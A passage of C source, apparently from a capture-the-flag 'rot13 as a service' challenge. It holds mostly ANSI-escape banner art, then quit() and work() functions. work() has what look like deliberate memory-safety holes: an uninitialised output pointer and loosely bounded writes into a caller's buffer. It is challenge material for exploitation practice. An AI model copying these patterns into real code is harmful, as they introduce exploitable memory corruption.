"8;2;170;0;0m▄\e[48;2;170;0;0m\e[38;2;169;0;0m▄\e[48;2;92;0;0m\e[38;2;172;0;0m▄\e[48;2;80;0;0m\e[38;2;105;0;0m▄\e[48;2;172;0;0m\e[38;2;61;0;0m▄\e[48;2;173;0;0m\e[38;2;152;0;0m▄\e[48;2;171;0;0m\e[38;" \ 100 | "2;175;0;0m▄\e[48;2;174;0;0m\e[38;2;174;0;0m▄\e[48;2;175;0;0m\e[38;2;172;0;0m▄\e[48;2;168;0;0m\e[38;2;176;0;0m▄\e[48;2;131;0;0m\e[38;2;177;0;0m▄\e[48;2;91;0;0m\e[38;2;178;0;0m▄\e[48;2;55;0;0m\e[38;2" \ 101 | ";179;0;0m▄\e[0m\e[38;2;179;0;0m▄\e[38;2;175;0;0m▄\e[38;2;173;0;0m▄\e[38;2;175;0;0m▄\e[38;2;179;0;0m▄\e[38;2;182;0;0m▄\e[48;2;78;0;0m\e[38;2;183;0;0m▄\e[48;2;122;0;0m\e[38;2;184;0;0m▄\e[48;2;165;0;0" \ 102 | "m\e[38;2;185;0;0m▄\e[48;2;185;0;0m\e[38;2;121;0;0m▄\e[0m\e[38;2;184;0;0m▀\e[38;2;76;0;0m▀ \e[38;2;161;0;0m▄\e[48;2;182;0;0m\e[38;2;125;0;0m▄\e[0m\n \e[38;2;65;0;0m▄\e[48;2;49;0;0m\e[38;2;1" \ 103 | "45;0;0m▄\e[48;2;139;0;0m\e[38;2;145;0;0m▄\e[48;2;145;0;0m\e[38;2;146;0;0m▄\e[48;2;146;0;0m\e[38;2;100;0;0m▄\e[0m\e[38;2;106;0;0m▀ \e[38;2;77;0;0m▄\e[48;2;149;0;0m\e[38;2;150;0;0m▄\e[48;2;148;0;0m\e" \ 104 | "[38;2;145;0;0m▄\e[48;2;116;0;0m\e[38;2;58;0;0m▄\e[48;2;57;0;0m\e[38;2;140;0;0m▄\e[48;2;152;0;0m\e[38;2;151;0;0m▄\e[48;2;152;0;0m\e[38;2;150;0;0m▄\e[48;2;136;0;0m\e[38;2;154;0;0m▄\e[48;2;81;0;0m\e[3" \ 105 | "8;2;155;0;0m▄\e[0m\e[38;2;145;0;0m▄\e[38;2;81;0;0m▄ \e[38;2;139;0;0m▄\e[48;2;83;0;0m\e[38;2;158;0;0m▄\e[48;2;101;0;0m\e[38;2;100;0;0m▄\e[48;2;159;0;0m\e[38;2;73;0;0m▄\e[48;2;160;0;0m\e[38;2;144;0;" \ 106 | "0m▄\e[48;2;159;0;0m\e[38;2;161;0;0m▄\e[48;2;161;0;0m\e[38;2;161;0;0m▄\e[48;2;161;0;0m\e[38;2;162;0;0m▄\e[48;2;162;0;0m\e[38;2;164;0;0m▄\e[48;2;163;0;0m\e[38;2;164;0;0m▄\e[48;2;164;0;0m\e[38;2;164;0" \ 107 | ";0m▄\e[48;2;164;0;0m\e[38;2;165;0;0m▄\e[48;2;165;0;0m\e[38;2;166;0;0m▄\e[48;2;166;0;0m\e[38;2;167;0;0m▄\e[48;2;167;0;0m\e[38;2;167;0;0m▄\e[48;2;167;0;0m\e[38;2;168;0;0m▄\e[48;2;167;0;0m\e[38;2;169;" \ 108 | "0;0m▄\e[48;2;168;0;0m\e[38;2;170;0;0m▄\e[48;2;169;0;0m\e[38;2;170;0;0m▄\e[48;2;170;0;0m\e[38;2;171;0;0m▄\e[48;2;170;0;0m\e[38;2;171;0;0m▄\e[48;2;171;0;0m\e[38;2;171;0;0m▄\e[48;2;172;0;0m\e[38;2;172" \ 109 | ";0;0m▄\e[48;2;173;0;0m\e[38;2;173;0;0m▄\e[48;2;171;0;0m\e[38;2;174;0;0m▄\e[48;2;173;0;0m\e[38;2;173;0;0m▄\e[48;2;132;0;0m\e[38;2;176;0;0m▄\e[48;2;55;0;0m\e[38;2;169;0;0m▄\e[48;2;103;0;0m\e[38;2;87;" \ 110 | "0;0m▄\e[48;2;175;0;0m\e[38;2;57;0;0m▄\e[48;2;177;0;0m\e[38;2;105;0;0m▄\e[48;2;178;0;0m\e[38;2;159;0;0m▄\e[48;2;176;0;0m\e[38;2;179;0;0m▄\e[48;2;174;0;0m\e[38;2;180;0;0m▄\e[48;2;174;0;0m\e[38;2;181;" \ 111 | "0;0m▄\e[48;2;177;0;0m\e[38;2;182;0;0m▄\e[48;2;180;0;0m\e[38;2;182;0;0m▄\e[48;2;182;0;0m\e[38;2;183;0;0m▄\e[48;2;182;0;0m\e[38;2;184;0;0m▄\e[48;2;183;0;0m\e[38;2;154;0;0m▄\e[48;2;184;0;0m\e[38;2;91;" \ 112 | "0;0m▄\e[0m\e[38;2;182;0;0m▀\e[38;2;123;0;0m▀ \e[38;2;94;0;0m▄ \e[38;2;120;0;0m▄\e[48;2;132;0;0m\e[38;2;192;0;0m▄\e[48;2;188;0;0m\e[38;2;75;0;0m▄\e[0m\n \e[38;2;106;0;0m▄\e[48;2;146;0;0m\e[3" \ 113 | "8;2;146;0;0m▄\e[48;2;144;0;0m\e[38;2;145;0;0m▄\e[48;2;145;0;0m\e[38;2;148;0;0m▄\e[48;2;120;0;0m\e[38;2;128;0;0m▄\e[48;2;65;0;0m\e[38;2;69;0;0m▄\e[0m\e[38;2;61;0;0m▀ \e[48;2;124;0;0m\e[38;2;152;0;0m" \ 114 | "▄\e[48;2;152;0;0m\e[38;2;151;0;0m▄\e[48;2;100;0;0m\e[38;2;73;0;0m▄\e[48;2;96;0;0m\e[38;2;144;0;0m▄\e[48;2;153;0;0m\e[38;2;153;0;0m▄\e[48;2;152;0;0m\e[38;2;153;0;0m▄\e[48;2;155;0;0m\e[38;2;153;0;0m▄" \ 115 | "\e[48;2;154;0;0m\e[38;2;154;0;0m▄\e[48;2;153;0;0m\e[38;2;156;0;0m▄\e[48;2;156;0;0m\e[38;2;156;0;0m▄\e[48;2;157;0;0m\e[38;2;158;0;0m▄\e[48;2;133;0;0m\e[38;2;127;0;0m▄\e[48;2;127;0;0m\e[38;2;50;0;0m▄" \ 116 | "\e[48;2;159;0;0m\e[38;2;135;0;0m▄\e[48;2;155;0;0m\e[38;2;161;0;0m▄\e[48;2;161;0;0m\e[38;2;157;0;0m▄\e[48;2;128;0;0m\e[38;2;162;0;0m▄\e[48;2;63;0;0m\e[38;2;158;0;0m▄\e[48;2;105;0;0m\e[38;2;96;0;0m▄" \ 117 | "\e[48;2;163;0;0m\e[38;2;69;0;0m▄\e[48;2;164;0;0m\e[38;2;117;0;0m▄\e[48;2;164;0;0m\e[38;2;166;0;0m▄\e[48;2;163;0;0m\e[38;2;167;0;0m▄\e[48;2;165;0;0m\e[38;2;167;0;0m▄\e[48;2;166;0;0m\e[38;2;167;0;0m▄" \ 118 | "\e[48;2;166;0;0m\e[38;2;168;0;0m▄\e[48;2;166;0;0m\e[38;2;169;0;0m▄\e[48;2;169;0;0m\e[38;2;170;0;0m▄\e[48;2;170;0;0m\e[38;2;170;0;0m▄\e[48;2;170;0;0m\e[38;2;171;0;0m▄\e[48;2;170;0;0m\e[38;2;172;0;0m" \ 119 | "▄\e[48;2;171;0;0m\e[38;2;173;0;0m▄\e[48;2;172;0;0m\e[38;2;172;0;0m▄\e[48;2;173;0;0m\e[38;2;171;0;0m▄\e[48;2;173;0;0m\e[38;2;143;0;0m▄\e[48;2;174;0;0m\e[38;2;167;0;0m▄\e[48;2;172;0;0m\e[38;2;176;0;0" \ 120 | "m▄\e[48;2;175;0;0m\e[38;2;176;0;0m▄\e[48;2;176;0;0m\e[38;2;177;0;0m▄\e[48;2;175;0;0m\e[38;2;175;0;0m▄\e[48;2;177;0;0m\e[38;2;176;0;0m▄\e[48;2;178;0;0m\e[38;2;175;0;0m▄\e[48;2;157;0;0m\e[38;2;179;0;" \ 121 | "0m▄\e[48;2;92;0;0m\e[38;2;180;0;0m▄\e[48;2;54;0;0m\e[38;2;180;0;0m▄\e[0m\e[38;2;143;0;0m▄\e[48;2;63;0;0m\e[38;2;106;0;0m▄\e[48;2;76;0;0m\e[38;2;81;0;0m▄\e[48;2;78;0;0m\e[38;2;69;0;0m▄\e[48;2;71;0;0" \ 122 | "m\e[38;2;72;0;0m▄\e[48;2;52;0;0m\e[38;2;85;0;0m▄\e[0m\e[38;2;114;0;0m▄\e[38;2;156;0;0m▄\e[38;2;187;0;0m▄\e[48;2;59;0;0m\e[38;2;188;0;0m▄\e[48;2;139;0;0m\e[38;2;99;0;0m▄\e[0m\e[38;2;139;0;0m▀ " \ 123 | "\e[38;2;134;0;0m▄\e[48;2;123;0;0m\e[38;2;192;0;0m▄\e[48;2;192;0;0m\e[38;2;184;0;0m▄\e[0m\e[38;2;148;0;0m▀\n \e[48;2;139;0;0m\e[38;2;149;0;0m▄\e[48;2;148;0;0m\e[38;2;148;0;0m▄\e[48;2;147;0;0m\e[38" \ 124 | ";2;147;0;0m▄\e[48;2;146;0;0m\e[38;2;151;0;0m▄\e[48;2;92;0;0m\e[38;2;84;0;0m▄\e[0m \e[48;2;88;0;0m\e[38;2;138;0;0m▄\e[48;2;152;0;0m\e[38;2;154;0;0m▄\e[48;2;133;0;0m\e[38;2;127;0;0m▄\e[0m\e[38;2;89;" \ 125 | "0;0m▀\e[38;2;155;0;0m▀\e[38;2;155;0;0m▀\e[48;2;156;0;0m\e[38;2;54;0;0m▄\e[48;2;157;0;0m\e[38;2;72;0;0m▄\e[48;2;158;0;0m\e[38;2;107;0;0m▄\e[48;2;158;0;0m\e[38;2;151;0;0m▄\e[48;2;158;0;0m\e[38;2;149;" \ 126 | "0;0m▄\e[0m\e[38;2;131;0;0m▀ \e[38;2;105;0;0m▀\e[48;2;163;0;0m\e[38;2;80;0;0m▄\e[48;2;161;0;0m\e[38;2;164;0;0m▄\e[48;2;164;0;0m\e[38;2;165;0;0m▄\e[48;2;164;0;0m\e[38;2;165;0;0m▄\e[48;2;142;0;0m\e[" \ 127 | "38;2;167;0;0m▄\e[48;2;82;0;0m\e[38;2;167;0;0m▄\e[48;2;68;0;0m\e[38;2;154;0;0m▄\e[48;2;96;0;0m\e[38;2;111;0;0m▄\e[48;2;126;0;0m\e[38;2;81;0;0m▄\e[48;2;143;0;0m\e[38;2;68;0;0m▄\e[48;2;140;0;0m\e[38;2" \ 128 | ";81;0;0m▄\e[48;2;113;0;0m\e[38;2;123;0;0m▄\e[48;2;144;0;0m\e[38;2;169;0;0m▄\e[48;2;171;0;0m\e[38;2;172;0;0m▄\e[48;2;171;0;0m\e[38;2;173;0;0m▄\e[48;2;173;0;0m\e[38;2;174;0;0m▄\e[48;2;173;0;0m\e[38;2" \ 129 | ";175;0;0m▄\e[48;2;173;0;0m\e[38;2;176;0;0m▄\e[48;2;173;0;0m\e[38;2;175;0;0m▄\e[48;2;141;0;0m\e[38;2;176;0;0m▄\e[48;2;63;0;0m\e[38;2;165;0;0m▄\e[48;2;79;0;0m\e[38;2;63;0;0m▄\e[0m\e[38;2;145;0;0m▀\e[" \ 130 | "38;2;179;0;0m▀\e[48;2;179;0;0m\e[38;2;76;0;0m▄\e[48;2;179;0;0m\e[38;2;117;0;0m▄\e[48;2;180;0;0m\e[38;2;148;0;0m▄\e[48;2;181;0;0m\e[38;2;169;0;0m▄\e[48;2;180;0;0m\e[38;2;181;0;0m▄\e[48;2;182;0;0m\e[" \ 131 | "38;2;183;0;0m▄\e[48;2;182;0;0m\e[38;2;184;0;0m▄\e[48;2;184;0;0m\e[38;2;185;0;0m▄\e[48;2;184;0;0m\e[38;2;181;0;0m▄\e[48;2;185;0;0m\e[38;2;172;0;0m▄\e[48;2;185;0;0m\e[38;2;154;0;0m▄\e[48;2;186;0;0m\e" \ 132 | "[38;2;117;0;0m▄\e[48;2;187;0;0m\e[38;2;65;0;0m▄\e[0m\e[38;2;180;0;0m▀\e[38;2;110;0;0m▀ \e[38;2;57;0;0m▄\e[38;2;178;0;0m▄\e[48;2;148;0;0m\e[38;2;192;0;0m▄\e[48;2;192;0;0m\e[38;2;192;0;0m▄\e[48;" \ 133 | "2;192;0;0m\e[38;2;123;0;0m▄\e[0m\e[38;2;79;0;0m▀\n \e[48;2;55;0;0m\e[38;2;104;0;0m▄\e[48;2;149;0;0m\e[38;2;151;0;0m▄\e[48;2;147;0;0m\e[38;2;151;0;0m▄\e[48;2;151;0;0m\e[38;2;127;0;0m▄\e[0m\e[38;2;1" \ 134 | "05;0;0m▀ \e[48;2;49;0;0m\e[38;2;119;0;0m▄\e[48;2;155;0;0m\e[38;2;155;0;0m▄\e[48;2;155;0;0m\e[38;2;154;0;0m▄\e[48;2;92;0;0m\e[38;2;99;0;0m▄\e[0m\e[38;2;103;0;0m▄\e[38;2;104;0;0m▄\e[38;2;77;0;0m▄ " \ 135 | "\e[48;2;51;0;0m\e[38;2;95;0;0m▄\e[48;2;147;0;0m\e[38;2;162;0;0m▄\e[48;2;59;0;0m\e[38;2;163;0;0m▄\e[0m\e[38;2;141;0;0m▄\e[38;2;72;0;0m▄ \e[38;2;56;0;0m▀\e[48;2;152;0;0m\e[38;2;126;0;0m▄\e[48;2;159" \ 136 | ";0;0m\e[38;2;99;0;0m▄\e[0m\e[38;2;97;0;0m▀\e[38;2;100;0;0m▀\e[38;2;169;0;0m▀\e[48;2;170;0;0m\e[38;2;137;0;0m▄\e[48;2;170;0;0m\e[38;2;172;0;0m▄\e[48;2;171;0;0m\e[38;2;173;0;0m▄\e[48;2;172;0;0m\e[38;" \ 137 | "2;171;0;0m▄\e[48;2;173;0;0m\e[38;2;172;0;0m▄\e[48;2;173;0;0m\e[38;2;174;0;0m▄\e[48;2;174;0;0m\e[38;2;175;0;0m▄\e[48;2;174;0;0m\e[38;2;176;0;0m▄\e[48;2;175;0;0m\e[38;2;176;0;0m▄\e[48;2;176;0;0m\e[38" \ 138 | ";2;177;0;0m▄\e[48;2;176;0;0m\e[38;2;178;0;0m▄\e[48;2;177;0;0m\e[38;2;179;0;0m▄\e[48;2;177;0;0m\e[38;2;179;0;0m▄\e[48;2;179;0;0m\e[38;2;178;0;0m▄\e[48;2;179;0;0m\e[38;2;178;0;0m▄\e[48;2;129;0;0m\e[3" \ 139 | "8;2;181;0;0m▄\e[0m\e[38;2;179;0;0m▄\e[38;2;111;0;0m▄ \e[38;2;86;0;0m▄\e[38;2;180;0;0m▄\e[48;2;120;0;0m\e[38;2;157;0;0m▄\e[48;2;190;0;0m\e[38;2;61;0;0m▄\e[48;2;156;0;0m\e[38;2;161;0;" \ 140 | "0m▄\e[48;2;192;0;0m\e[38;2;170;0;0m▄\e[0m\e[38;2;152;0;0m▀\n \e[38;2;71;0;0m▄\e[48;2;148;0;0m\e[38;2;152;0;0m▄\e[48;2;150;0;0m\e[38;2;148;0;0m▄\e[48;2;152;0;0m\e[38;2;153;0;0m▄\e[48;2;78;0;0m\e[38;" \ 141 | "2;93;0;0m▄\e[0m \e[38;2;73;0;0m▄\e[48;2;155;0;0m\e[38;2;156;0;0m▄\e[48;2;156;0;0m\e[38;2;154;0;0m▄\e[48;2;157;0;0m\e[38;2;158;0;0m▄\e[48;2;158;0;0m\e[38;2;145;0;0m▄\e[48;2;128;0;0m\e[38;2;70;0;0m▄" \ 142 | "\e[0m\e[38;2;83;0;0m▀ \e[38;2;70;0;0m▄\e[48;2;157;0;0m\e[38;2;164;0;0m▄\e[48;2;162;0;0m\e[38;2;162;0;0m▄\e[48;2;162;0;0m\e[38;2;165;0;0m▄\e[48;2;164;0;0m\e[38;2;165;0;0m▄\e[48;2;165;0;0m\e[38;2;1" \ 143 | "65;0;0m▄\e[48;2;147;0;0m\e[38;2;167;0;0m▄\e[48;2;61;0;0m\e[38;2;167;0;0m▄\e[0m\e[38;2;136;0;0m▄\e[48;2;128;0;0m\e[38;2;169;0;0m▄\e[48;2;169;0;0m\e[38;2;167;0;0m▄\e[48;2;166;0;0m\e[38;2;169;0;0m▄\e[" \ 144 | "48;2;99;0;0m\e[38;2;171;0;0m▄\e[0m\e[38;2;142;0;0m▄\e[38;2;49;0;0m▄ \e[38;2;73;0;0m▀\e[48;2;149;0;0m\e[38;2;124;0;0m▄\e[48;2;173;0;0m\e[38;2;174;0;0m▄\e[48;2;174;0;0m\e[38;2;175;0;0m▄\e[48;2;176;0;" \ 145 | "0m\e[38;2;176;0;0m▄\e[48;2;176;0;0m\e[38;2;177;0;0m▄\e[48;2;176;0;0m\e[38;2;178;0;0m▄\e[48;2;177;0;0m\e[38;2;179;0;0m▄\e[48;2;178;0;0m\e[38;2;179;0;0m▄\e[48;2;179;0;0m\e[38;2;179;0;0m▄\e[48;2;179;0" \ 146 | ";0m\e[38;2;181;0;0m▄\e[48;2;180;0;0m\e[38;2;182;0;0m▄\e[48;2;181;0;0m\e[38;2;182;0;0m▄\e[48;2;182;0;0m\e[38;2;182;0;0m▄\e[48;2;180;0;0m\e[38;2;183;0;0m▄\e[48;2;182;0;0m\e[38;2;183;0;0m▄\e[48;2;183;" \ 147 | "0;0m\e[38;2;183;0;0m▄\e[48;2;180;0;0m\e[38;2;185;0;0m▄\e[48;2;124;0;0m\e[38;2;185;0;0m▄\e[48;2;58;0;0m\e[38;2;187;0;0m▄\e[0m\e[38;2;171;0;0m▄\e[38;2;131;0;0m▄\e[38;2;87;0;0m▄\e[38;2;57;0;0m▄ \e[3" \ 148 | "8;2;58;0;0m▄\e[38;2;80;0;0m▄\e[38;2;114;0;0m▄\e[38;2;156;0;0m▄\e[38;2;191;0;0m▄\e[48;2;95;0;0m\e[38;2;192;0;0m▄\e[48;2;166;0;0m\e[38;2;192;0;0m▄\e[48;2;192;0;0m\e[38;2;182;0;0m▄\e[48;2;105;0;0m\e[3" \ 149 | "8;2;61;0;0m▄\e[0m\e[38;2;157;0;0m▄\e[48;2;151;0;0m\e[38;2;186;0;0m▄\e[0m\e[38;2;182;0;0m▀\n \e[48;2;114;0;0m\e[38;2;141;0;0m▄\e[48;2;152;0;0m\e[38;2;155;0;0m▄\e[48;2;147;0;0m\e[38;2;155;0;0m▄\e[48;" \ 150 | "2;155;0;0m\e[38;2;155;0;0m▄\e[0m\e[38;2;90;0;0m▀ \e[48;2;158;0;0m\e[38;2;152;0;0m▄\e[48;2;156;0;0m\e[38;2;160;0;0m▄\e[48;2;155;0;0m\e[38;2;160;0;0m▄\e[0m\e[38;2;65;0;0m▄ \e[48;2;124;0;0m\e[38" \ 151 | ";2;159;0;0m▄\e[48;2;164;0;0m\e[38;2;165;0;0m▄\e[48;2;163;0;0m\e[38;2;165;0;0m▄\e[48;2;166;0;0m\e[38;2;165;0;0m▄\e[48;2;167;0;0m\e[38;2;165;0;0m▄\e[48;2;165;0;0m\e[38;2;165;0;0m▄\e[48;2;168;0;0m\e[3" \ 152 | "8;2;164;0;0m▄\e[0m\e[38;2;135;0;0m▀ \e[38;2;95;0;0m▀\e[48;2;171;0;0m\e[38;2;75;0;0m▄\e[48;2;171;0;0m\e[38;2;171;0;0m▄\e[48;2;169;0;0m\e[38;2;173;0;0m▄\e[48;2;173;0;0m\e[38;2;172;0;0m▄\e[48;2;173;0;" \ 153 | "0m\e[38;2;175;0;0m▄\e[48;2;123;0;0m\e[38;2;99;0;0m▄\e[48;2;159;0;0m\e[38;2;84;0;0m▄\e[48;2;176;0;0m\e[38;2;167;0;0m▄\e[48;2;173;0;0m\e[38;2;177;0;0m▄\e[48;2;177;0;0m\e[38;2;178;0;0m▄\e[48;2;178;0;0" \ 154 | "m\e[38;2;178;0;0m▄\e[48;2;179;0;0m\e[38;2;179;0;0m▄\e[48;2;177;0;0m\e[38;2;180;0;0m▄\e[48;2;178;0;0m\e[38;2;181;0;0m▄\e[48;2;178;0;0m\e[38;2;182;0;0m▄\e[48;2;178;0;0m\e[38;2;182;0;0m▄\e[48;2;179;0;" \ 155 | "0m\e[38;2;183;0;0m▄\e[48;2;179;0;0m\e[38;2;183;0;0m▄\e[48;2;180;0;0m\e[38;2;185;0;0m▄\e[48;2;181;0;0m\e[38;2;185;0;0m▄\e[48;2;183;0;0m\e[38;2;185;0;0m▄\e[48;2;185;0;0m\e[38;2;186;0;0m▄\e[48;2;185;0" \ 156 | ";0m\e[38;2;187;0;0m▄\e[48;2;185;0;0m\e[38;2;188;0;0m▄\e[48;2;185;0;0m\e[38;2;188;0;0m▄\e[48;2;187;0;0m\e[38;2;188;0;0m▄\e[48;2;188;0;0m\e[38;2;188;0;0m▄\e[48;2;189;0;0m\e[38;2;191;0;0m▄\e[48;2;189;" \ 157 | "0;0m\e[38;2;191;0;0m▄\e[48;2;191;0;0m\e[38;2;176;0;0m▄\e[48;2;192;0;0m\e[38;2;138;0;0m▄\e[48;2;192;0;0m\e[38;2;82;0;0m▄\e[0m\e[38;2;192;0;0m▀\e[48;2;192;0;0m\e[38;2;181;0;0m▄\e[48;2;192;0;0m\e[38;2" \ 158 | ";192;0;0m▄\e[48;2;192;0;0m\e[38;2;160;0;0m▄\e[48;2;192;0;0m\e[38;2;82;0;0m▄\e[48;2;191;0;0m\e[38;2;167;0;0m▄\e[48;2;187;0;0m\e[38;2;192;0;0m▄\e[48;2;192;0;0m\e[38;2;167;0;0m▄\e[48;2;185;0;0m\e[38;2" \ 159 | ";192;0;0m▄\e[48;2;192;0;0m\e[38;2;175;0;0m▄\e[0m\e[38;2;184;0;0m▀\n \e[38;2;155;0;0m▀\e[38;2;147;0;0m▀\e[38;2;101;0;0m▀ \e[48;2;132;0;0m\e[38;2;104;0;0m▄\e[48;2;161;0;0m\e[38;2;161;0;0m▄\e[48;2" \ 160 | ";161;0;0m\e[38;2;163;0;0m▄\e[48;2;135;0;0m\e[38;2;136;0;0m▄\e[0m \e[48;2;61;0;0m\e[38;2;101;0;0m▄\e[48;2;166;0;0m\e[38;2;167;0;0m▄\e[48;2;164;0;0m\e[38;2;168;0;0m▄\e[48;2;168;0;0m\e[38;2;135;0;0" \ 161 | "m▄\e[48;2;168;0;0m\e[38;2;101;0;0m▄\e[48;2;169;0;0m\e[38;2;84;0;0m▄\e[48;2;170;0;0m\e[38;2;90;0;0m▄\e[48;2;149;0;0m\e[38;2;113;0;0m▄\e[0m\e[38;2;116;0;0m▄ \e[38;2;144;0;0m▀\e[48;2;172;0;0m\e[38;" \ 162 | "2;152;0;0m▄\e[48;2;82;0;0m\e[38;2;58;0;0m▄\e[0m \e[38;2;113;0;0m▀\e[38;2;178;0;0m▀\e[48;2;180;0;0m\e[38;2;126;0;0m▄\e[48;2;179;0;0m\e[38;2;152;0;0m▄\e[0m\e[38;2;114;0;0m▀ \e[38;2;58;0;0m▀\e[38;2;" \ 163 | "82;0;0m▀\e[38;2;97;0;0m▀\e[38;2;114;0;0m▀\e[38;2;121;0;0m▀\e[38;2;123;0;0m▀\e[48;2;135;0;0m\e[38;2;111;0;0m▄\e[48;2;187;0;0m\e[38;2;188;0;0m▄\e[48;2;187;0;0m\e[38;2;189;0;0m▄\e[48;2;187;0;0m\e[38;2" \ 164 | ";190;0;0m▄\e[48;2;187;0;0m\e[38;2;191;0;0m▄\e[48;2;189;0;0m\e[38;2;192;0;0m▄\e[48;2;191;0;0m\e[38;2;137;0;0m▄\e[0m\e[38;2;90;0;0m▀\e[38;2;61;0;0m▄\e[38;2;122;0;0m▄\e[38;2;168;0;0m▄\e[38;2;192;0;0m▄" \ 165 | "\e[48;2;108;0;0m\e[38;2;110;0;0m▄\e[0m\e[38;2;109;0;0m▀ \e[38;2;83;0;0m▄\e[38;2;147;0;0m▄\e[38;2;181;0;0m▀\e[38;2;95;0;0m▀\e[38;2;65;0;0m▀\e[38;2;164;0;0m▀\n \e[38;2;71;0;0m▀\e[48;2;163;0;0" \ 166 | "m\e[38;2;160;0;0m▄\e[48;2;162;0;0m\e[38;2;165;0;0m▄\e[0m\e[38;2;81;0;0m▀ \e[48;2;152;0;0m\e[38;2;115;0;0m▄\e[0m\e[38;2;138;0;0m▀ \e[38;2;60;0;0m▄\e[38;2;168;0;0m▄\e[48;2;117;0;0m\e[38;2;" \ 167 | "178;0;0m▄\e[48;2;177;0;0m\e[38;2;179;0;0m▄\e[48;2;178;0;0m\e[38;2;175;0;0m▄\e[48;2;135;0;0m\e[38;2;179;0;0m▄\e[48;2;57;0;0m\e[38;2;181;0;0m▄\e[0m\e[38;2;151;0;0m▄\e[38;2;79;0;0m▄\e[38;2;103;0;0m▄\e" \ 168 | "[48;2;122;0;0m\e[38;2;183;0;0m▄\e[48;2;182;0;0m\e[38;2;181;0;0m▄\e[48;2;183;0;0m\e[38;2;182;0;0m▄\e[48;2;168;0;0m\e[38;2;185;0;0m▄\e[48;2;140;0;0m\e[38;2;186;0;0m▄\e[48;2;115;0;0m\e[38;2;187;0;0m▄" \ 169 | "\e[48;2;92;0;0m\e[38;2;188;0;0m▄\e[48;2;71;0;0m\e[38;2;188;0;0m▄\e[48;2;64;0;0m\e[38;2;157;0;0m▄\e[48;2;113;0;0m\e[38;2;65;0;0m▄\e[0m\e[38;2;188;0;0m▀\e[38;2;183;0;0m▀\e[38;2;176;0;0m▀\e[38;2;164;0" \ 170 | ";0m▀\e[38;2;148;0;0m▀\e[48;2;167;0;0m\e[38;2;129;0;0m▄\e[48;2;170;0;0m\e[38;2;192;0;0m▄\e[48;2;185;0;0m\e[38;2;191;0;0m▄\e[48;2;192;0;0m\e[38;2;192;0;0m▄\e[48;2;192;0;0m\e[38;2;192;0;0m▄\e[48;2;192" \ 171 | ";0;0m\e[38;2;192;0;0m▄\e[48;2;185;0;0m\e[38;2;187;0;0m▄\e[48;2;60;0;0m\e[38;2;188;0;0m▄\e[48;2;92;0;0m\e[38;2;192;0;0m▄\e[48;2;167;0;0m\e[38;2;192;0;0m▄\e[48;2;192;0;0m\e[38;2;186;0;0m▄\e[0m\e[38;2" \ 172 | ";93;0;0m▀\n \e[38;2;53;0;0m▀\e[38;2;88;0;0m▀ \e[38;2;56;0;0m▀\e[38;2;116;0;0m▀\e[38;2;170;0;0m▀\e[48;2;180;0;0m\e[38;2;77;0;0m▄\e[48;2;181;0;0m\e[38;2;136;0;0m▄\e[48;2;182;" \ 173 | "0;0m\e[38;2;176;0;0m▄\e[48;2;182;0;0m\e[38;2;184;0;0m▄\e[48;2;183;0;0m\e[38;2;178;0;0m▄\e[0m\e[38;2;152;0;0m▀\e[38;2;158;0;0m▀\e[38;2;185;0;0m▀\e[48;2;185;0;0m\e[38;2;94;0;0m▄\e[48;2;186;0;0m\e[38;" \ 174 | "2;136;0;0m▄\e[48;2;187;0;0m\e[38;2;165;0;0m▄\e[48;2;186;0;0m\e[38;2;185;0;0m▄\e[48;2;185;0;0m\e[38;2;188;0;0m▄\e[48;2;169;0;0m\e[38;2;106;0;0m▄\e[0m \e[38;2;54;0;0m▄\e[38;2;60;0;0m▄\e[38;2;75;0;0m▄" \ 175 | "\e[38;2;89;0;0m▄\e[38;2;111;0;0m▄\e[38;2;133;0;0m▄\e[48;2;192;0;0m\e[38;2;118;0;0m▄\e[48;2;192;0;0m\e[38;2;84;0;0m▄\e[0m\e[38;2;192;0;0m▀\e[38;2;173;0;0m▀\e[38;2;116;0;0m▀\e[48;2;105;0;0m\e[38;2;13" \ 176 | "7;0;0m▄\e[48;2;190;0;0m\e[38;2;192;0;0m▄\e[48;2;189;0;0m\e[38;2;192;0;0m▄\e[48;2;192;0;0m\e[38;2;154;0;0m▄\e[48;2;192;0;0m\e[38;2;51;0;0m▄\e[0m\e[38;2;89;0;0m▀\n " \ 177 | "\e[38;2;78;0;0m▀\e[38;2;80;0;0m▀ \e[38;2;73;0;0m▄\e[48;2;168;0;0m\e[38;2;188;0;0m▄\e[48;2;192;0;0m\e[38;2;188;0;0m▄\e[48;2;192;0;0m\e[38;2;188;0;0m▄\e[48;2;192;0;0m\e[38;2;188;0;0m▄\e[48;2;192" \ 178 | ";0;0m\e[38;2;188;0;0m▄\e[48;2;192;0;0m\e[38;2;186;0;0m▄\e[48;2;192;0;0m\e[38;2;185;0;0m▄\e[48;2;192;0;0m\e[38;2;186;0;0m▄\e[0m\e[38;2;101;0;0m▀ \e[38;2;84;0;0m▄\e[48;2;84;0;0m\e[38;2;139;0;0m▄\e[" \ 179 | "48;2;192;0;0m\e[38;2;64;0;0m▄\e[0m\e[38;2;159;0;0m▀\e[38;2;76;0;0m▀\n \e[38;2;56;0;0m▀\e[48;2;192;0;0m\e[38;2;72;0;0m▄\e[48;2;192;0;0m\e[38;2;99;0;0m▄\e[48;" \ 180 | "2;192;0;0m\e[38;2;123;0;0m▄\e[48;2;192;0;0m\e[38;2;138;0;0m▄\e[48;2;192;0;0m\e[38;2;140;0;0m▄\e[48;2;192;0;0m\e[38;2;140;0;0m▄\e[48;2;192;0;0m\e[38;2;133;0;0m▄\e[48;2;192;0;0m\e[38;2;111;0;0m▄\e[0m" \ 181 | "\e[38;2;132;0;0m▀ \e[38;2;49;0;0m▀\e[0m\n"); 182 | 183 | puts("\e[1mWelcome to rot13 as a service!\e[0m - For all those hard \"sanity flag\" CTF challenges"); 184 | } 185 | 186 | void quit(){ 187 | 188 | int i; 189 | printf("\nbye "); 190 | 191 | for (i = 0; i < 5; i++){ 192 | usleep(400000); 193 | printf("."); 194 | } 195 | 196 | printf("\n"); 197 | _exit(EXIT_SUCCESS); 198 | } 199 | 200 | void work(char *in, char *out, size_t sz){ 201 | 202 | char *alpha[5] = { 203 | "abcdefghijklmnopqrstuvwxyz", 204 | "ABCDEFGHIJKLMNOPQRSTUVWXYZ" 205 | }; 206 | 207 | char *ret = alloca(4); 208 | char *enc; 209 | int len = strlen(alpha[0]); 210 | int rot = 13; 211 | 212 | if (out != 0) 213 | enc = out; 214 | 215 | while (*in && --sz > 0){ 216 | if (!isalpha(*in)){ 217 | *enc++ = *in++; 218 | } else { 219 | *enc++ = alpha[isupper(*in) >> 8][((int) (tolower(*in++) - 'a') + rot) % len]; 220 | } 221 | } 222 | } 223 | 224 | void 